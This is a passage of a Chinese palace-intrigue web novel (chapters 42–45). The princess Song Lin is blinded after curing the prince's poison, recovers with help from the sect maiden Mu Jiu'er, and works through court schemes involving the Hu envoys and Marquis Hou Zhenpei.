瞿昙眼见她倒下,想去搀扶却无能为力,此时的他虚脱为力,抬手的力气都没有。
黎樾一来发现院门打开,二人躺在地上。
“来人啦!快来人!”他急得大喊。
常齐听到声音领人往里跑,看到院中景象瞠目结舌,忙招呼人过去帮忙。
为了同时兼顾二人身体状况,黎樾做主把两人安排在瞿昙的院子,主屋空间大,让人搬了张床放着。
简单号过脉,他松了口气。
“黎樾神医,王爷和王妃怎么样了?”惊风凑着脑袋上前,见他一直不说话,心提到了嗓子眼。
林歌在宋檩床前,木九儿围在一边观察。
黎樾看了对床的宋檩一眼,“王爷的毒已经解了,陈年旧毒一朝得解,犹如抽筋洗髓,养个大半年就没事了。”
王府众人欣喜万分,折磨王爷多年的毒终于解了。
“王妃呢?王妃如何?”得知自家王爷已无碍,安管事一心扑在王妃身上,他希望王府这两位主子都好好的,赶紧生个小主子,也好叫王府热闹起来。
黎樾叹了口气,“我总算明白,为何王妃需要那么多滋养身子的方子了。”
“黎樾神医这话何意?”惊风看向昏迷不醒的宋檩,难道那些药不是给王爷喝,而是王妃自己喝?
“我不清楚王妃遭遇了什么,但从脉象看,有经脉俱损之状。”屋中人惊住了。
王妃并无内力,不存在内力爆体,怎么经脉俱损?
众人齐刷刷看向木九儿。
“你们看我做甚?”她心下一惊,起身退到一边,这事跟她可没关系。
黎樾起身拱手,“多亏牧姑娘发现及时,若晚到一刻,只怕王妃性命堪忧。”
木九儿动了动嘴,抓了抓脑袋,“我也没做什么……不过,秦王妃亏损严重,尤其双目,若不好生治疗,只怕会失明。”
听了她的话,众人才发现宋檩双眼流血。
黎樾上前查看,发现她的眼睛已经被鲜血糊住,根本看不清眼球,一脸凝重。
“王妃的身子特殊,所服之药皆是她先前吩咐,我不敢贸然更改,但双目之状,或可用万年灵芝。”
“我这就传信去西南,让人全力寻找!”惊风急忙跑出去。
“我会让人多加留意药材市场,一旦发现即刻收购。”桑无疾也不耽搁,立马去吩咐手底下的人。
木九儿知此时不再适合待着,默默退下。
林歌将帕子打湿,敷在宋檩的眼睛上,哽咽出声,“黎樾神医,我家姑娘的眼睛……”
“你放心,王妃吉人自有天相,定会没事的。”黎樾挽起袖子,替她处理眼睛。
宋檩不知睡了多久,醒来发现眼前一片漆黑,眼睛传来刺痛。她下意识拿手去揉,只碰到绷带。
想到昏迷前发生的事情,她叹气,竟然反噬到眼睛上了。
“王妃醒了。”她一醒来瞿昙就注意到了,见她没说话,也抿着嘴不出声。
宋檩半撑起身子,不确定道:“王爷?”
眼睛看不见带来的恐惧和不安是常人不能体会的,宋檩摸索着去够床头柜却摸了空,立马意识到这不是自己的屋子。
林歌清楚她的一切习性,绝不会轻易动她屋子里的布局。
陌生的环境让她不敢轻举妄动,躺回床上,手往里侧摸了摸,身子不着痕迹地向后挪动。
瞿昙第二天就醒来了,但身子虚弱,即便已经过去两天仍不能下床。
他看着宋檩的小动作,喉头发
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紧,说不出来的难过。
“是我,你眼睛受了伤,暂时不能视物。”
得知屋子里的人是他,宋檩才放松警惕,她尝试使用阵法,却见心口发紧,一口鲜血涌出来。
“你做什么?不要命了!”瞿昙重重放下手里的书册,朝屋外大喊,“来人!”
林歌和惊风同时进门。
见自家姑娘已经醒来,还吐了血,林歌脸色煞白,掏出手绢替她擦拭,“姑娘……”
宋檩感觉到她的颤抖,抓住她的手,故作无事般笑道:“没什么大不了的,我就是想试试伤得有多重,没想到还挺严重,呵呵……”
她这一笑,林歌的眼泪又在眼眶里打转。紧咬着唇瓣不许自己哭出声来。
惊风见状忙转身去叫黎樾。
宋檩沿着她的胳膊摸到脸上,一行泪正打在她指尖,她默默擦掉,“哭什么?你家姑娘什么大风大浪没见过,还怕这个?”
林歌别开脸,咬牙不说话。
“好了好了,别哭了,多大点事儿!”
“我先前吩咐你跟林武的事办得如何了?”她扯着手绢胡乱擦了一下嘴,接过林歌递来的水杯漱了漱口,问起先前的事。
林歌瞥了眼瞿昙,压低声音道:“没有闹出人命,但钱明瞎了一只眼。”
“怀远伯老来得子,最近一直在圣上跟前哭诉,侯振培也是焦头烂额。”
宋檩颔首,逆鳞卫近来风头太盛,闹上一闹也好,“没留下什么把柄吧?”
“姑娘放心,都处理干净了,林武一直盯着,出不了乱子。”林歌不敢看瞿昙的眼睛,她总觉得王爷知道她们做的事。
“我睡多久了?”宋檩拍了拍她的胳膊,示意她搀扶自己起身。
林歌扶她坐起,往背后垫了个软枕,“今儿已经是第四日了。”
“黎樾神医说,王爷的毒已经解了,倒是姑娘,经脉俱损,方便治疗,就让姑娘住在王爷这。”
宋檩:“……”难怪醒来就听到他的声音。
“王妃终于醒了!”黎樾的声音传来,听上去很疲惫。
“黎樾神医,这段时间麻烦你了。”宋檩笑道。
黎樾见状叹气,虽然这几天没日没夜熬着,才睡下不到两个时辰又被捞起来,但王妃已经醒来,似乎心态还不错,他也算是值了。
收到瞿昙的眼神示意,他咳了咳嗓子,坐在床边的小杌子上,“王妃把手递过来,我请个脉。”
宋檩听话照做,见他迟迟不语,疑惑道:“如何?”
黎樾干笑,“恢复不错,比我想象得好!”
虽然看不到他的神色,可从声音听来,这话的敷衍意味太足了。自己的身体她再清楚不过,这次伤得很重。
她有治愈的阵法,只是眼下最大的问题是不能使用阵法。
“黎樾神医,为何我一使用阵法就觉得心口疼?”
“王妃方才使用了阵法?”黎樾疑惑道。
他没见过王妃这样的病人,症状大差不差,但成因不同治疗法子不起效,便是神医亦无能为力。
宋檩摇头,“我只是想试一下,没想到吐了血。”
黎樾略作思索,看向她的眼神多了些探究,“那便对上了,王妃耗费心神,又损毁经脉,与习武者经脉毁坏无法用武并无二致。”
他看向一旁的瞿昙,继续道:“若要继续使用阵法,需得好生将养。”
宋檩点头,“多谢黎樾神医,我一定谨遵医嘱!”
42. 眼睛怎么了
醒来后,宋檩坚持搬回了自己的院子,左右都是静养,跟个男子待在一屋浑身不自在。
一回到自己的院子,木九儿就过来了。
她招手示意林歌退下,“我还没差人去请,你倒是自己过来了。”
木九儿自觉得很,全无外人的生疏感,抓起桌子上的苹果就开始啃,她来到床榻前,拿手在宋檩眼前晃了晃。
宋檩没好气地拍掉她不安分的爪子,“看不见,你不必试探。”
她瘪了瘪嘴,坐在床沿,“若早知会失明,会用不了阵法,你还会使用聚灵阵吗?”
“虽然不是很确定,但你口中的聚灵阵,应当与我使用的阵法有异曲同工之妙,你对阵法了解多少?”
木九儿没好气地瞪着她,反应过来她看不见,别过头傲娇道:“在让人回答你的问题之前,是不是应当先回答别人的话?”
宋檩被她的话逗笑,“好,我现在就可以你,我预想的后果……比这更严重。”
木九儿看向她的脸色变了,只觉得眼前这女人不可思议。
“便是要了你的性命,你会选择使用聚灵阵替他解毒?你当真如此在意那个男人?”
她不明白,不明白宋檩这个人,也不明白她为何不惜性命也要救那个男人,莫非这就是阿娘说的爱?
宋檩嘴角微勾,一副胸有成竹的样子,“我虽做好了最坏的打算,但保住性命还是有把握的!”
“如今这副瞎子样,跟丢了性命有什么两样?”木九儿气得从床沿起身,她觉得宋檩的脑子有问题。
“木姑娘可有非常想做的事情?”
木九儿眨巴着眼睛,咬下一口苹果在嘴里嚼,眼神坚定,“自然有!”
她拼了命逃出慕容兄妹的魔掌,就是不希望自己成为那兄妹二人拿捏族人的把柄。
用昭国的话来讲,玉无罪怀璧其罪,族人骁勇善战是为了保家人平安,却不想被贼人惦记,企图以她要挟族人妥协。
身为板楯部落的圣女,她受人敬重,岂能被要挟了去?
宋檩轻笑,“我与你一样。”
木九儿挑眉,凑近瞧了瞧,发现她生得不错,笑道:“秦王妃同我说这些做什么?”
“自然是希望木姑娘告诉我恢复之法。”宋檩毫不隐瞒自己的目的。
“你倒是实诚。”她大口啃咬手里的苹果,直到只剩下果核,才丢在一旁的笸箩里,坐在凳子上擦手。
“秦王妃算无遗策,莫非早就算到我会来王府?”
宋檩摇头,“并非,你的出现只是个意外。”
木九儿顶了顶后槽牙,被她的话逗笑,这秦王妃还真是个可人,说出的话总在她的意料之外。
“这么说来,你应该有应对之策,何故来我这寻气受?”
宋裤摊着两手,苦涩一笑,“我的法子太费时间,木姑娘若肯告知,待我恢复,定亲自护送你回家。”
木九儿眼睛微眯,这个条件有点诱人。
她被掳来大昭有些日子了,不知家里什么情况。中都到益州千里远,这一路还不知有多少危险,有秦王妃相助确实省不少事。
“你当真愿意送我回家?”
“自然,”宋檩毫不犹豫道,“你与我都是修习阵法之人,若有机会,我希望可以上门讨教一二。”
论起阵法修养,木九儿自认不是她的对手,但圣殿秘法云集,且阵法一门博大深奥,她若真愿意去益州,倒不失为一件好事。
若非遇到瓶颈,她才不会出走寻找破解之法,如不出走,哪会被人抓住?
一番挣扎过后,木九儿决定帮她。
“我这里有些疗养阵法,但都是最基础的,只能帮你调理心脉,别的……我也无能为力。”
宋檩欣喜万分,“已经够了。”
只要调理好心脉,她就可以使用阵法,有了阵法,她就能自行修复。
两人在屋子里待了整整一个下午,林歌守在门外,拦住了所有想进去的人。
她听见了姑娘跟木姑娘的对话,知道二人在做什么,绝不让任何人进去打扰。
身后响起开门声,她立马上前。
木九儿伸了个大大的懒腰,一副刚睡醒的样子。宋檩从她身后走出来,“林歌,去厨房拿些吃食过来,我与木姑娘一同用晚膳。”
“姑娘,你……”原本只能躺在床榻上的人竟然站起来了,林歌做梦都没想到。
她还想说什么,木九儿在一侧抱怨,“你再不拿些吃得来,仔细本姑娘饿了把你家王妃活吞了!”
林歌朝她恭恭敬敬地鞠了一躬,“我这就去厨房拿吃的!”
有了木九儿相助,宋檩的恢复堪称神速,仅仅几天的时间,她已经完全可以使用阵法,但眼睛仍旧不能视物。
眼睛看不见,她就窝在府里不出门,林歌和林武每日都会带着外面的消息回来。
关于侯聪和钱明在悠然居打架一事,经怀远伯在圣上跟前一哭诉,眼下陷入胶着状态。
汪明飞把两人都看押在牢里,好吃好喝伺候着,除了自由,什么都给了。鉴于双方都受了伤,他还从太医院请了太医过去诊治。
宋檩在屋子里一边烤火一边听林歌讲述,嘴里还吃着又脆又香的烤花生。
“逆鳞卫近来可还在大街上抓人?”
林武回道:“这几个晚上逆鳞卫都没有再出现。”
“如王妃所料,太子和承王近来果然去了怀远伯府。”
逆鳞卫上次大开杀戒,毁了不少世家暗卫,那些人手培养起来可不容易。虽是老皇帝的命令,华承乾和华承坤再如何也不敢跟他翻脸。
既如此,只能找侯振培泄愤了。
她把这么大个把柄递到二人手里,岂有不抓住的道理?
林武上次在青州刚查到一点苗头就被人追杀,线索很快断了,侯振培的身上一定有不可告人的秘密。
“盯住钱明,必要时候护住他的性命。”
林武抬眼看向宋檩,王妃的意思是,钱明会有危险?“属下这就去安排。”
见他消失不见,林歌才问出声,“姑娘担心太子和承王会加害于钱明?”
宋檩摸向桌面,端过茶水喝起来,“怀远伯再如何也只是个无关紧要的人物,在圣上心里的份量比不过侯振培。”
“他若有心偏袒,怀远伯也不敢声张,毕竟人还在。可若人没了,依着怀远伯对钱明的溺爱,非要了侯聪的命不可。”
侯聪也是侯振培的独子,虽说他对这个儿子不甚满意,但早年因伤了根本,不能再生育,他一定会不惜代价护住侯
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聪的命。
只要他有所图,事情就有转机。
林歌点头,她绝对相信那是太子和承王能做出来的事情。
“姑娘,关于侯振培,属下还有一事要禀报。”
宋檩晃动着摇椅,“让我猜一下,跟宋沅有关。”
“姑娘猜对了。”林歌提起沸腾的茶壶,给她的杯子里续上茶水,“上回姑娘让展护卫传话相爷不必再管三姑娘和承王的事,据说侯夫人极力反对这门婚事,还警告府里人不许外传。”
“结果还是传到了卫使府,侯振培把侯氏叫去骂了一场。”
“此时侯氏才知,原来他竟有将侯悦嫁给承王的打算,当晚就在卫使府闹了一阵,眼下算是不欢而散。”
可不就得闹嘛!一门心思培养的外甥女嫁给太子,原以为他要全力支持太子,转头又要把亲女儿许给承王,简直就是既要又要!
侯宛仪眼下怕是焦头烂额。
两人正有说有笑,安管事来到院里,“老奴给王妃请安,王妃今日身子可还舒坦?”
宋檩忙扶着林歌的胳膊从摇椅上起身,站在门口,“安管事有礼,我身子无碍,可是找我有事?”
安管事知她不便,这段日子没人赶来打搅,今日来定是有要事。
“原不该叨扰王妃,只是那胡人兄妹二人今日又来府上了,说是和谈一事完成,即将启程离京,非要赖着见王妃一面。”
关于和谈一事,她当时只提问了一嘴,林武说一切顺利,她也没细问,竟然这么快就要回了?
宋檩低声问身边的林歌,“可知和亲对象是谁?”
“姑娘,和亲一事暂时搁置了,不过茹素公主暂留中都,不随着使臣队伍一道回去。”林歌低声回复。
宋檩觉得奇怪,却也猜不透他们的葫芦里卖的什么药。
她打算去见一见,木九儿走进院子。
“王妃要去何处?带上我呗!”经过这段日子的相处,木九儿很喜欢宋檩的性子,无聊的时候就跑过来找她说话。
关于她如何到了中都,被何人追杀一事,宋檩没有问过,也不知事情原委。
“你既愿意就一道去吧,不过得小心些,那胡人兄妹都不是吃素的主。”
听到胡人兄妹,木九儿眼神立马变了,踏出去的脚步立马收回来,讪讪一笑道:“我……我还是不去了,王妃自己去吧!”
说完,她消失在院子里。
宋檩一脸疑惑,为什么木九儿听到胡人兄妹反应这么大,难道抓她的人是胡人?
她凑到林歌耳边低声吩咐了几句。
经过宋檩这些日子的努力,瞿昙已经能下床走动,只是身子较弱,很怕冷,出门就裹得很厚。
外客到府,他自是要出来招待。
见到宋檩,兄妹二人俱是一愣,看向她的眼神有疑惑也有探究。
茹素公主起身迎过去,伸出手指在她眼前晃了晃。林歌有些生气,“茹素公主,我家王妃眼睛不适,还请放尊重些。”
她摸了摸鼻子,悻悻地回到位子上,“我还以为……”
这秦王府她来过很多回,每回都被人拿一样的理由搪塞,还以为宋檩不愿意见她找的借口,如今看来倒真不像是借口。
“王妃这眼睛是……怎么了?”
43. 人在秦王府
瞿昙咳了几声,苍白着一张脸,“公主请见谅,前些日子王府后山失了火,王妃不小心熏伤眼睛,一见强光就落泪,正在治疗。”
“啊?我听说烟能熏瞎眼睛,王妃莫不是……”
“茹素公主!还请慎言。”瞿昙一双利眸锁在她身上,似要在她身上剜出一个洞来。
她冷不丁打了个寒战,身子一抖,不敢再说话。
白王瞟了一眼,忙起身打圆场,“茹素心直口快,说话难免有些不中听,本王在此替她赔个不是,请秦王不要见怪。”
瞿昙并没有给他面子,“本王一向懒得跟人计较,但若下次再有人敢说王妃半个不是,有如此桌!”
砰的一声响,大厅的桌子应声碎地。
白王脸色难看,早听说秦王武功了得,但因二人不曾打过交道,没机会见识,今日倒是难得一见,果然名不虚传。
他看向茹素,见她果然脸色煞白,起身告辞,“本王今日上门,不过是给王妃此行,毕竟相识一场,今日一别,不知何时才能再见。”
宋檩仍坐在椅子上,“祝各位一路顺风。”
慕容白还想说什么,只能化作一声叹息,拉了茹素离开。
王府大门外,慕容白见她依旧恹恹的不说话,摸了摸她的脑袋,“那秦王妃不是个简单角色,你往后在中都,切莫与她结仇。”
茹素没有回答他的话,仍陷在自己的世界里。
他还以为人被瞿昙吓着了,拉起她的手往马车上去,茹素却挣开了,瞪大了眼睛,“王兄,我知道那是什么了!”
慕容白挑眉,没明白她一惊一乍做什么。
茹素瞥向四周,拽下他的胳膊,凑到耳边低语一阵,慕容白脸色骤变,看向秦王府的眼神里布满阴森。
“当真如此?”
“王兄不信我?绝对不会有错!”那是她下的追踪香粉,只要接触过,不洗漱绝对可以闻出来。
从方才秦王妃身上的味道来判断,绝对是刚接触过,也就是说,那人就藏在秦王府!难怪他们找不到。
慕容白嘴角带笑,一双眼眸变得狠厉,他的东西,岂能落入旁人手里?
王府花厅,宋檩坐在椅子上,并不急着离去。
“王爷可以用内力了?”
瞿昙咧了咧嘴,讨好似的笑道:“多亏了王妃。”
“西南传来消息,万年灵芝已有下落,王妃的眼睛很快就能视物了。”
宋檩的嘴角勾起一抹好看的弧度,声音变得愉悦,“那是当然,我的运气一向不错!”
眼睛没好之前她不会见华承璟,也不会见宋明书,省得白白叫人担心。林歌得贴身照顾,分不开身,眼下林武盯着侯振培,消息太不灵通。
思来想去,她决定从瞿昙这里着手。
她伸手往前摸,桌子已经毁了,凭两人的距离根本够不着人。
瞿昙抓住她的手,“王妃找什么?”
宋檩顺手抓住他的胳膊,笑呵呵开口,“王爷,咱们现在是盟友,我这样子不便见人,关于我阿兄和爹爹的事,还得麻烦你转告一声。”
林歌知自家姑娘要开始对王爷耍心计了,默默退下。
瞿昙盯着胳膊上的手,嘴角渐渐扬起,闷声道:“我这就让人去两府报平安。”
“也……不必刻意去。”她嘴角轻抽。
这么明显,那两人再怎么傻也能猜出自己出了事。再者,她需要的又不是这个。
“我的事,阿兄跟爹爹没问起,没必要主动说起,倒是他们……也不知是不是遇到了难处,只恨我出不了门。”她低垂着脑袋,一副委屈极了的样子。
明知她在装可怜博同情,偏生自己就吃这一套,瞿昙自嘲一笑。
“宋相驳了承王好意,被几个御史参了本子,倒是无伤大雅。至于五皇子那边……”
“阿兄如何?可是和谈的事?”宋檩急切出声。
这段时间她实在心有余而力不足,人都昏迷不行了,哪还管得了外边发生什么?
见她如此关心华承璟,瞿昙捻起手指往她额头上弹了一下,“五皇子治世之才,岂能被小小胡人给难住?”
她摸着脑门抗议,“我知阿兄会解决,原也没担心他,这不是想知道发生了什么吗?”
“你若不说,我自去问他!”话落,她便要起身,瞿昙按住她的肩膀,“坐好。”
“说事就说事,拐弯抹角说人做什么?这可不是你的风格。”
宋檩一脸蒙,她哪里拐弯抹角了?又怎么不是她的风格了?她该是什么风格,不一直这样吗?
被他说得莫名其妙,宋檩懒得计较。
“我实在好奇,为何最后没有定下和亲人员?”当初叫上皇亲国戚,有爵位的人全入宫,随便指个人都不至于成今日的局面。
须知胡人反复,和亲一事拖着总是个变数。
瞿昙把椅子往她身边挪了挪,把茶水递在她手里,“王妃这么聪明,猜猜看?”
这叫她怎么猜?宋檩无语。
要么这人选胡人不满意,要么就是大昭不满意,左右就是谈不拢。
“茹素公主看上了谁?”依她对慕容兄妹的了解,应该会在太子和承王中选一个。
但眼下不论选择谁都比较冒险,胡人心里有顾虑,太子和承王正是利用了这一点。
虽然心里明白这个原因,但她还是好奇茹素公主自己的想法。
“公主看上了五皇子。”
宋檩被一口茶水呛住,不可置信抬头,“啥?”放着好好的太子和承王不选,偏偏看上一个毫无势力的五皇子?
“王妃当真不知情?”他眯眼打量身侧的人,可惜看不见她的眼神,若能看清一定很精彩。
阿兄……生得仪表堂堂,喜欢上他实属正常。
她摸了摸下巴,喃喃道:“我阿兄确实比那二人更好看……”
瞿昙凉了她一眼,“少女心事在国家大事面前不值一提,身为一国公主,她明白这个道理。”
但凡她表现出哪怕一点对华承璟的倾慕,和亲之事早就盖棺定论了。但那样也意味着胡人捞不到任何好处。
“生得再好看又有何用?他们只会跟未来的帝王联姻。”
宋檩挑眉,他怎就笃定未来的帝
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王只会在太子和承王之间诞生?
轻哼一声,“未来都是变数,既如此,何不直接入了老皇帝的后宫?”
说出这句话,宋檩自己都惊呆了,还真别说,是个好法子!若她成了老皇帝的宠妃,陆皇后定乐见其成,免得总觊觎阿兄。
瞿昙笑出声,眼神里闪过异样,“王妃这话若是叫承王听见,怕不是会被记恨上。”
她才不怕,许他嚯嚯相府的人,就不许别人也嚯嚯一下他?没直接往他后院塞人已经是仁慈了。
要完成这件事情得等她眼睛恢复,宋檩越发期待以后的事情了。
她突然起身,忘了自己看不见路,差点被桌子绊倒,瞿昙忙扶住她,“当心。”
“放心吧,我没事!”心情好了脾气就小了,“林歌。”
听到声音的林歌忙上前扶她离开,还不忘给瞿昙行了个礼。
宋檩心情非常好,一路哼着小曲回到院子里,木九儿急急忙忙跑过来,一脸慌乱。“秦王妃,大事不好了。”
“木九儿,别逼我在最快乐的时候扇你。”她深吸一口气,咬牙切齿出声。
木九儿将她摁坐在凳子上,把袖子往她鼻子前凑了凑,“你闻闻。”
宋檩嗅了一下,没闻出什么不对劲来,只觉得有些香,“不就是一些香料味儿,何至于这么激动?”
“我的秦王妃呀!事情这么简单就好啦!”她把事情来龙去脉简单说了一下,尤其是说起这个追踪香。
宋檩腾地站起身,两手抓住她的胳膊就用力摇晃,“你怎么不早说?!”
木九儿一脸委屈,“我也是……才发现的。”
“木姑娘,这回你真是害惨了我家姑娘!”保不齐秦王府都得牵涉进去,林歌一脸怪责地看向她。
自知做错了事,木九儿不敢吱声,只希望她能保自己一条小命。
刚才茹素跟她挨得很近,若真如木九儿所说,必然已经知道她在王府,秦王府怕是撇不开干系。
宋檩挠了挠后脑勺,先前的好心情荡然无存。
“你们到底有什么恩怨?他非得要你的命?”宋檩摸到她的脸,捏了一把不耐道:“你可想好了再说,事关秦王府,说服不了我,定然说服不了秦王,他若不愿,我也保不住你。”
木九儿瘪着嘴,一脸委屈,“他们想以我要挟我的家人为其卖命,如今我逃了,若让我的家人知道他绑架了我,定会找他算账。”
“他不想再生祸端,就要杀我灭口。”
宋檩颔首,算是听明白了,她背后的家族很厉害咯。
“你是胡人?”
木九儿听出她的语气不友善,忙举起手指发誓,“不是!我绝对不是胡人!”
宋檩轻哼,若真是胡人,她第一个把人交出去。
“我会与王爷说,不管他帮不帮,你老老实实待在王府至少性命无忧,在确定慕容白真正离京前,你哪儿也别去!”
“都听王妃的。”她快要哭了,好不容易来趟昭国京城,结果不是被绑架就是被追杀,现在哪都不能去。
早知如此,她便是烂在圣殿也不出门了。
44. 担心我自己
宋檩眼睛看不见,林歌想着法子逗她开心,每天大早跑去祥福斋买糕点,顺带从书肆捎上新出的话本子。
茶余饭后就念话本子,木九儿也跑过来听,偶尔捧腹大笑。
也不知瞿昙近来在忙什么,她打听了好几次都不在府里,关于木九儿的事情一直没寻到机会说。
这日刚入夜,林歌听见隔壁院落有动静,跑去一看竟是瞿昙回来了,搀上宋檩就往那边走。
冬至已过,天气骤降,宋檩裹得严严实实。
两人进院子的时候,瞿昙刚处理完伤口,听惊风说王妃来了,眉头轻挑,忙穿好衣服去迎。
“大晚上的,王妃怎么过来了?”
林歌把自家姑娘安置好就退出了房间,跟惊风一样候在廊庑下。
宋檩嗅了嗅鼻子,一股血腥味钻入鼻腔。
她绣眉微蹙,“你受伤了?”
“一点小伤,不碍事。”瞿昙的眼神定在她的手上,两只手被冻得通红。
他将方才惊风准备的暖炉塞在宋檩手里。
宋檩就是拽住他的胳膊,靠近他胸口处闻了闻,发现受伤的不是胸口才放松下来。
“虽说你体内毒素已经肃清,但都是凡胎□□,武功再好也只有一条命,别动不动就整一身伤。”
瞿昙咧了咧嘴,最大的遗憾就是看不到她的眼神。
他了解宋檩的性子,绝对说不出这样的话来。现下眼睛看不见,倒叫她露出了寻常难见的一面。
“王妃是在关心我?”
宋檩一把推开他,哼道:“别往自己脸上贴金了,我是担心我自己!”
“咱们有约在先,如今你的毒已解,我还没过上啥好日子,你若出事我岂不亏大发了!”
人一旦内心缺乏安全,就会增加对外的依赖,关心他也好,担心自己也罢,可以确定的是,眼睛看不见这段日子,宋檩并没有表现出来那么自在。
瞿昙眼里浮起心疼。
受伤是小事,好在最后灵芝被抢回来了。
“灵芝已经拿到,黎樾正在研究药方,这段日子你好生配合治疗,很快就能好起来了。”他摸了摸宋檩的脑袋,在她还没反应过来前收手。
“当真?”虽然黎樾只提说了一句,但王府上下倾尽全力寻找万年灵芝,得知已有下落时,她打心眼里高兴。
如今灵芝既已到手,复明有了指望。
宋檩按住心底欢喜,嘴角却在微微颤动,“不管有没有用,都是府上人的心意,我会全力配合黎神医。”
佯装镇定的样子看得人难受,瞿昙抓过她的手,任她挣扎也不松开,“宋檩。”
第一次听他连名带姓叫自己,宋檩微愣,竟不知所措。
“恐惧和高兴都是人之常情,你也只是个十几岁的姑娘,没必要把自己逼成这副样子。”
宋檩不是个能轻易交心的人,倒不是她以小人之心度君子之腹,实在是两人的关系还不到推心置腹的地步。
她用尽甩开桎梏,摸着桌子起身,“王爷这是做什么?”声音不大,听来却比屋外的气温还要冷。
分明是害怕,却要佯作镇定,只要他强势些,就能撕掉她的伪装。
但他终究忍下了。
瞿昙深吸一口气,缓缓出声,“抱歉,是我太心急了。”
“这么晚了过来,找我有事?”
宋檩本欲离开,听了他的话才想起过来的目的,又摸索着坐下。
只是不如刚来时那般放松,她两手握拳,只堪堪挨着凳子的边儿,腿脚时刻朝外。
宋檩并没有意识到这些,把木九儿的事情说了个大概。
“原来如此。”瞿昙听后恍然大悟。
“什么?”她眉头一皱,不确定自己是不是听错了。
瞿昙见她此状,眼神忽动,计上心头,“王妃可知我因何而伤?”
他的功夫不弱,即便眼下无法使出十成的功力,等闲也不可能伤了他。听他的意思,难道是……
“你跟胡人交手了?”
瞿昙下意识点头,想到她看不见,才出声,“从招数和武器来看,八成是胡人。”
“难道慕容白还在大昭?”按照鸿胪寺公布的消息,早在两周前胡人使臣的队伍已经离开中都。
算算脚程,现下应该不在大昭了。
“你们在什么地方交上手的?”
瞿昙眼神幽暗,“就在京郊。之前我还纳闷,听你这么一说倒明白了。”
他懊恼地看向宋檩,有些自责。
“慕容兄妹知你眼睛受伤,定是时刻关注王府动向,寻找万年灵芝一事并没有刻意藏掖,应是猜到目的了。”
宋檩心思活泛,能想出绑架逼人就范的招数,慕容白绝对是个阴狠的人。
既已知王府包藏了木九儿,他不敢公然撕破脸,夺取万年灵芝做交易的事绝对干得出来。
“这么说来,慕容白应该还在中都。”宋檩一脸严肃,保不齐他就在某个地方,时刻监视王府的一举一动。
这一切都源自她留下木九儿,宋檩很纠结。若此时把木九儿赶出府,无疑送羊入虎口。
“王爷,若你不愿,我会想法子把木九儿送出府去。”她紧抿着唇,脑子里想着别的法子。
相府去不得,若瞿昙不愿相助,她就去找华承璟。
五皇子应该能暂时护她周全。
“你打算把她送去哪?”瞿昙面无表情问道,说出的话却有几分凉意,“王妃莫不是想让五殿下替本王看护故人?”
宋檩身子一怔,她竟然把这事给忘了,木九儿说过是瞿昙的故人,瞿昙……也没有否认。
既如此,她操的哪门子心?
她无奈一笑,“木姑娘与我投缘,性子讨喜,都让我把这事给忘了。”
“有王爷这句话我就放心了。我这就去给她回话,让她好生在府里待着。”
瞿昙被她气笑,见她起身,忙过去搀扶。
门一拉开,冷风嗖嗖往脸上扑,宋檩下意识后退一步,耳边传来“下雪了”的声音。
瞿昙看了眼屋外的雪,似有越下越大的趋势。他取了身上大氅披在宋檩身上,宽大的氅衣将她从头裹到脚。
“下雪天冷,别受寒了。”
虽然暖和不少,但她感觉有些怪,尤其知道林歌和惊风在场,忙唤了林歌一起往隔壁小院去。
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>刚踏进屋,林武匆匆赶来。
“如王妃所料,他们对钱明动手了。”
“人可有事?”她褪下大氅,递给林歌。
林武拱手,“肩膀中了一箭,属下已将他送回怀远伯府。”
宋檩坐在惯常坐的椅子上,指尖轻轻敲击扶手,“我记得怀远伯与汪府尹是连襟。”
林歌瞥了眼林武,忙道:“回姑娘,怀远伯和汪府尹的夫人都来自颍川庾氏,二人不同支。”
“怀远伯夫人虽是嫡系一脉,夫家没落,手里无权,倒不似汪府尹夫人那般风光。”
世家大族最重族中子女的教化,二人既同宗同族,必定打小相识。便是中途走散了,只要利益相同,总还能走到一起。
“查清那些人的身份,把真相告诉怀远伯。”
林武领命退下。
皇宫养心殿,侯振培已在殿内站了一刻钟。
圣上大晚上宣他入宫,来了又迟迟不说话,事情非同小可。
老皇帝伏在案桌上批阅折子,头也不抬,冷不丁冒出来一句话,“侯卿可知,朕此时宣你前来所谓何事?”
侯振培拱手,“臣愚钝。”
老皇帝提笔在折子上写下批示,面无表情道:“怀远伯近来总在朕面前哭诉,想要令郎一只眼睛作赔,侯卿意下如何?”
“圣上开恩呐!”他“啪”的一声跪在地上,“臣就这么一个儿子,虽说不成器了些,却是臣唯一的血脉。”
“那侯聪就不是怀远伯的独子,嗯?”老皇帝终于抬眼看了他一下。
“朕听说,是令郎先动的手。”
侯振培心下大骇,这事儿他已经压下去了,到底是谁告到了御前?
他在脑子里盘算知情人,只可能是京兆府的人,难道是汪明飞?
见他不出声,老皇帝抓起案上的折子往他脑门上砸,“一刻钟前,怀远伯就跪在你这个地方,告诉朕!侯聪中箭昏迷,至今未醒!”
侯振培惊讶地抬起头,“圣上怀疑是臣派人刺杀的侯聪?”
上次的事情他把太子和承王都得罪了,这些日子可谓忙得焦头烂额,根本顾不上怀远伯那边。
再说,他自知理亏,恨不得事情早些平息,又岂会再生事端?
“请圣上明察!”他跪得笔直,两手在身前要交,“臣自知小儿有错,怎敢生妄念定是有小人栽赃嫁祸臣!”
老皇帝手肘撑着案桌,眯眼打量起他,“量你也不敢。”抬了抬手,示意他起身。
侯振培战战兢兢起身,额上渗出了细小的汗。
钱明若死,侯家跟怀远伯府算是彻底结下梁子,依着怀远伯的性子,赔上祖荫都会要了聪儿性命。
届时圣上再如何偏私,他都保不住聪儿。
老皇帝来到他身侧,语重心长道:“朕当年力主迁都,怀远伯立下汗马功劳,此事若处理不当,定会让老臣寒心。”
“侯卿,朕,可不能再当忘恩负义之人。”他拍了拍侯振培的肩膀,缓步往内殿去。
侯振培看着他离去的身影,只觉肩膀千斤重。
圣上此举是在告诉他,此事不会再偏私于他。得想法子赶紧把这事儿解决了。
45. 要不要合作
黎樾以万年灵芝为药引,调了几个方子,外敷加内服,持续治疗了一周时间,终于可以拆纱布了。
大早上几个人都赶来小院,等待奇迹揭晓。
黎樾净了三遍手,深吸一口气,说话时声音都在颤抖,“王妃,我要开始了,记得先把眼睛闭上。”
“黎神医,你别太紧张了。”她笑出了声。
拆纱布的过程谁都不敢说话,紧紧盯着她的眼睛,不自觉放慢呼吸,好似纱布的另一端绑在了心脏上,每松一分心脏就紧一分。
纱布全部拆下,宋檩感觉有一束强光透过皮肤刺激眼球,不自觉闭紧双眼。
“王妃,现在慢慢睁开眼睛。”黎樾很有耐心地引导着。
